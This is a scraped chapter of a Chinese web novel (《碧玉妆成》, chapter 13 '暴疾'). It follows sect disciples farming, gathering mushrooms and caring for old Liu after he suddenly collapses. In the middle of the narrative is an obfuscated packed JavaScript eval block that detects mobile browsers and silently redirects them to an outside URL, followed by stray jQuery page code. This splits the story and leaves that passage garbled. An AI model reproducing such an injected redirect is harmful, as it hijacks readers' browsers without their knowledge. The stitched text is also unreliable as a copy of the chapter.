13. 暴疾
作品:《碧玉妆成》 “你也去歇会吧。”
彭义阳对她说出这句话时,玉梳深觉他善。
她不会同二娘般直言其善良体贴、“你是我见过最勤劳的人”,但只要他想,这懒倒是能摊上。
二娘把玉梳拉到一边,“我们来做个游戏。”她在杂草丛中拔起一株雷公草,掐头去尾,“你先来还是我先来?”
“你先来。”
“你先吧。”
二人几近同声,从了二娘的意见。
“你且拿住这个雷公头,雷公尾我捏,我们俩就往中间撕,像这样,撕开为阴是女孩,没断叫阳是男孩儿。”二娘慢慢地撕开草茎,“连着的,你要生个儿子!快抓一把丢地上。”
玉梳依言包住了草茎,没使多大力气便掷在地上,那青草茎儿很快就不动了。
“然后呢?”
二娘忍着笑:“喔唷,你这短命鬼,都不知道使点劲。”
“是你没说清,”玉梳拍她,“还笑,我短命可要赖你。”
她于是好言道:“休怒休怒,游戏咋,不算数。”这人又在田头挑了一个根茎饱满卖相不错的,一人一边,慢慢地撕成两片,“分开了,是个女孩儿,快把那半给我!”
玉梳送到她手里,她二话不说揉了遍往地上一扔,两根茎杆纠缠着由快变慢动了好一会,故而笑道:“还好我活得长,以后我们结成儿女亲家相互就有个照应。我要是活个七老八十的,得有一群孙儿孙女围着我叫……”
“我不喜欢小孩儿。”
“到时候看你喜欢不,”她想到什么,围着玉梳转了一圈,甚是揶揄:“哦~我知道了,我们小玉玉还是个宝宝。”
“哕——”玉梳作恶,过来咯吱她,二娘受不住,便在田埂上跑开来。
“作甚呐?”彭义阳就着卷起的袖子擦汗。
“斗草!”二娘道,“她比不过我。看,那是什么?”二娘指着一株紫色的球花。
旁的猜不出,她就说,“那是刺儿菜!”
等到彭义阳忙完,二娘看了遍,有那么深、厚;且把土块拍松一点,把垦好的荒地规整好,方便明天播种施肥。
晚些回去,肚子早已饿瘪,正打算多煮点米饭,二娘发现米仓满了,想是新添。玉梳听了忙说,“肯定是刘大爹添的。”
她正洗着菜,二娘过来沾她的水洗手,弹一点到她脸上,“我们三是要吃不少呢。之前才几多?”
她不认为少,是多是少,一时没搞明白。彭义阳过来说:“要不要帮忙,我来生火吧。”
二娘把他推出去,“你新来的,暂时就不用做什么了。边上待着,交给我们。”
他果真边上待着,半勾着腰或是干脆蹲下。离得近,玉梳竟不自在。本来就半桶水,教他教到人家教自己,关键他的建议也不可行,两人干瞪眼。
“你一大男人快出去!”
二娘这一声,把他吓出去了。正是有些迷茫,想找点事做,不想显得多余,一头扎进柴房抱了几捆柴到后院,拿了柴刀木墩在一边剁柴。这时又在忧虑,就这么几捆柴了,以后烧什么?以后不会要去打柴吧?
“其实他人还不错。”玉梳倚门称道。
他反应过来。
暗喜。
刘伯伯今天领他到草庐说这里住着两名女弟子。他没地方住,刘伯伯让他自己想办法,他手背打着手心,意思是不行睡柴房。他觉得这样不合适没有答应……
“这里不比尔山,我做的你还吃的惯吧?”二娘瞟了一眼彭。
老汉顺势敲了他一两银子,准他去自己的老屋住,至于吃的还是在这边解决,毕竟他们是一个门派的,吃得到一起。
“很好吃,”彭义阳顿了一下,“师姐的手艺不含糊,再简单的食材也能处理好。”
老汉是帮忙添置米面了,只是没说要钱。
“好吃就多吃点,我晚上煮了很多饭,我们两个人都吃不了多少,尤其是她,生怕多吃。”二娘开口道。
玉梳不乐,“哪有?我这叫节约粮食。”
“哦~是吗?我还以为你的胃是白长的。”
“你那胃才是白长的!”
“你不说,我知道瘦给谁看?”
“……”
彭大口扒着:“莫吵莫吵,吃饭喏……”
他掏了钱,不能浪费。
种地这事想来是有些天分的。玉梳就觉得二娘天分极高。
二娘叫她撒多少种子她就会撒多少,依她看一个坑里播一粒种子就满可以了,她不对二娘说,正是觉得人家不会有错。
接下来,她认为最难的要数挑粪水。又重味道又大,一股屎尿味。偏又路不好走,挑上一个来回,肩膀酸痛不已。二娘说她金贵,她可说不得,一声不吭地给下种的地浇灌。
烈日当头,刘老汉过来监工,“还在忙!你们三个种点地搞半天,加上昨日,两天,我一个人一个下午就能做好的事!——现在的年轻人呐,一点苦都吃不得。”
“不是两天呢,昨天下午这里还是一片杂草地。”玉梳率先开口。
二娘大功告成,“对啊,别的不说,大伯你看我们这地种得多好,他们会种什么庄稼?都是您教导有方!”
刘老汉悻悻道:“行了行了,我下午有点事,你们看好农庄。”
“好嘞,大伯放心。”
……
暮色向晚,日影斜长,刘老汉端来一大海碗水灵灵的野生菌。“打柴的朋友送的,你们也尝尝。就是少了点……”
——还是洗过的,这小老头这么有心了?
“不少不少,”二娘接过,“大伯你太客气了,怎么不留着家里吃。这菇子我都好久没见过啦,出来这么早,”她复而咬耳道,“哪里弄的啊?”
“刘家冲野老山哦!你不知道在哪?我指给你看,就那山头……”
不远……
二娘若有所思。
次日无多事,他们合计着去山头摘蘑菇。听说鲜嫩的野生菌喜欢生长在有腐气的阴暗的地方,夏季枯枝败叶少,老树也依旧坚扌廷,因着是地方的,不常见,名字也奇怪,叫扭菇,要多扭两下才摘得下来。
这时节,野老山满是松杉柞木,间或几株杜鹃,凤尾蕨中现出一点红。当然,他们是来采蘑菇的,扭菇个头小小可不好找。三人寻遍了山头,也没装满一提篮,之前彭和玉梳还总认为他们带的篮子实在太小。大约也是经人采摘过,所剩无几。
他们就站在凸起的地面上眺望群山。这脚下土脚下山,不高,不起眼,登临其上却自有它的美妙之处。
风儿呼啸而过,触摸人的神经。
“玉梳是大笨蛋!懒人精!”二娘与山倾诉,山也回以同音。“玉梳是大笨蛋!懒人精!”
玉梳气不过,也同山控诉:“张二娘是大坏蛋!老娘子!”
“彭义阳是大傻蛋!橐驼胚!”半晌,彭义阳都没有反应,只是看着她们笑,二娘怪道:“你都没有什么烦恼吗?成天傻乐。”
“啊?”
“你讨厌的人是谁——?”
彭义阳想了想,“你是一个杀人犯!行货骗子!”
“你是一个杀人犯——行货骗子——”
那声音久久回荡,令人毛骨悚然。
“你在说谁呢!”
玉梳警觉,“谁是杀人犯?”
“我在说一个无关紧要的人,别处……”
“这话可不兴说,无凭无据这是造谣呢你知道吗?”二娘皱眉道。
彭义阳没有反驳,二娘只是说:“我们回去吧。”
——真够扫兴!看看今天摘的小蘑菇,都比他可爱。多余的回去放簸箕里晾一晾,晒干,又可以囤个好菜。算了,其实也没多少,剩个毛。午后不是在农庄逮到两只灰兔,拿了一只给刘老汉吗,正好一起炖了。是该好好犒劳一下自己。
日子一天天过去,农家打了油菜割了麦子,田里蓄水插了秧,他们的豆子也破土出苗在阳光雨露的滋润下一寸一寸成长起来。
在谈到彭义阳的时候,二娘说这人实乃“奇葩”。“昨天我说他像那个吴隆国的人,他说,‘你这是一种呆板的印象,哪里的人都有好有坏。’我又没说他坏,我只说,‘你呀投错了门,你真应该去吴隆国看看,他们那里的什么武隆门扈江门啊就爱收你这样的弟子。’他还真去了,他说他去年元宵后去的那,可是吴隆国非常排外,他花了不少功夫才进的武隆门。我可笑了:‘你真牛,这都能进去’。还排外,他们跟人好的时候他还不知道在哪呐,咱又不是没长眼睛。——哎,你说这之间是不是有猫腻,有文章?可一想到他又在我们这小门小派里,啊不,现在也不小了……”
“你没问他吗?”玉梳忍不住打断她。
“问了啊,他能说吗。”她的眼神有点阴晦,“这小子指不定瞒着些什么。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251513|166406||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>玉梳由此联想到自己。
“对了,他说他隐瞒了自己的身份,真够可以,自个老家都不认了。”
“这样就可以了吗?”
“鬼信,”二娘把桑叶塞进麻袋,“他从蓬城到吴隆国那可是千里、万里之遥,好不容易入了选踏进武学的大门,又给整回来了。”
“可能出了什么意外吧?”
“他是怎么说的,‘我爹娘不想我去太远的地方。’他只跟家中小厮说过,心够大吧。他还说什么他大哥开武馆继承家业勉强维持生计,二哥做生意很辛苦赚了一点小钱,他不想循规道矩,也想好好发扬家里的精神,想做一件不同凡响的事,所以,那个舞弄拳脚,那个求仙问道就不同凡响了?他这是逃避现实不作为,他这是吃饱了撑的没事干,他这是变戏法想出一出是一出,真以为天大地大,有钱最大啊?!”
“就不能有一点浪漫的想法吗?”
“不好了不好了,刘伯伯摔倒了!”彭义阳跑来桑林。
“啥?”
彭义阳本来是在挑水的,回来路上碰到刘老汉躺倒在地,浑身抽搐。忙放下挑水的担子,给刘老僵硬的身体按摩,喂水给他喝,将他背回草房放在自己的床上,刘老汉已经讲不出话了。彭义阳想着把二人都叫回来。
二人急冲冲赶到住处。
二娘弯腰叫老汉,老汉啊啊地不知道说些什么,“我们得找郎中。”
彭道:“我去村里找大夫,你们看着刘伯伯。”
二娘道:“不行不行,外面的行脚医不好找,人家也不一定能看这病呢!”
玉梳道:“那怎么办?”
“我去山上找五师姐,五师姐一般都在山里。”
彭道:“好!我去吧。”
“屁!你知道在哪?都给我呆着,等我的好消息!”
玉梳坐在床沿,看看老汉,看看彭义阳,站起身焦躁地在房间里踱步。她本以为情况紧急,每一分每一秒都很煎熬,都很宝贵,但当她盼望着的人走到眼前,她还是怔住了。
“你就回来了,这么快。”
“让一让,五师姐你看看病人。”
二娘把众人都赶到门外,把门带上,让五师姐能够安心地医治病人。
彭义阳揪着衣服给二娘打扇,“师姐辛苦了!”
玉梳问:“怎么回事?”
“我今天真是太幸福了!”二娘说得兴奋,“我一跑到山脚就碰到,我是指望碰到一个——你们猜我碰到谁?”
“大长老!”彭义阳道。
他都这么说了,那么,“二长老?”玉梳如是说。
“哪有!我碰到了我的亲亲大师姐,我一跑到山脚下就撞到大师姐,大师姐就问啊,‘甚事这般急?’我那个喘气啊大喘气,大师姐叫我不要着急,我就提着一口气说了,说什么你们都知道,然后大师姐御剑带我飞上山去紫云轩找到五师姐,我都没说一句就把人给请来了!”二娘叉着腰,脸上带着得意。
“那大师姐呢?”玉梳拽着她的胳膊往后看。
“你个小傻子,你还要人家怎样,人家的任务已经完成了!我的大师姐那可是再世的俏观音,救苦救难的活菩萨!姐以前就是她见我这么努力提点进学的。”
“这个师姐心地真好。”彭道。
“那是!”
五师姐出来了,她用手比划着,她们都不是很懂,但大致知道刘老汉吃了药,现在应该没问题了。她递过来两张白、韧的信笺,附着娟秀的小字,上面讲的是病情和注意点,下面一张是开的药方。她又像是想起了什么,从斜挎的药箱里拿出一个冰蓝的小药瓶。
她们挽留五师姐吃顿饭再走,但五师姐交代完就要走劝不动。
踏入窄小的房门,刘老汉正准备撑起身子,彭义阳就走过去把他的身子扶正,玉梳去给他倒了一杯水喝。刘老汉问看病的大夫,彭就说,“五师姐已经回去了,这次多亏了张师姐大老远跑回山里请大夫。”
“还是你发现的早,一看见刘大伯瘫倒在地就火急火燎地把人背回来了。”二娘谦虚道。
“对,对!”玉梳随声附和。
刘老汉眼里噙着泪花,抖着胡子说着些欣慰的话。
现在手边的活都停下来了,大家忙着抓药熬药照顾老汉,等到有人来催时,就手忙脚乱的把事情做好。
第二天,老汉就下地出门了,回来的时候带着一个青年。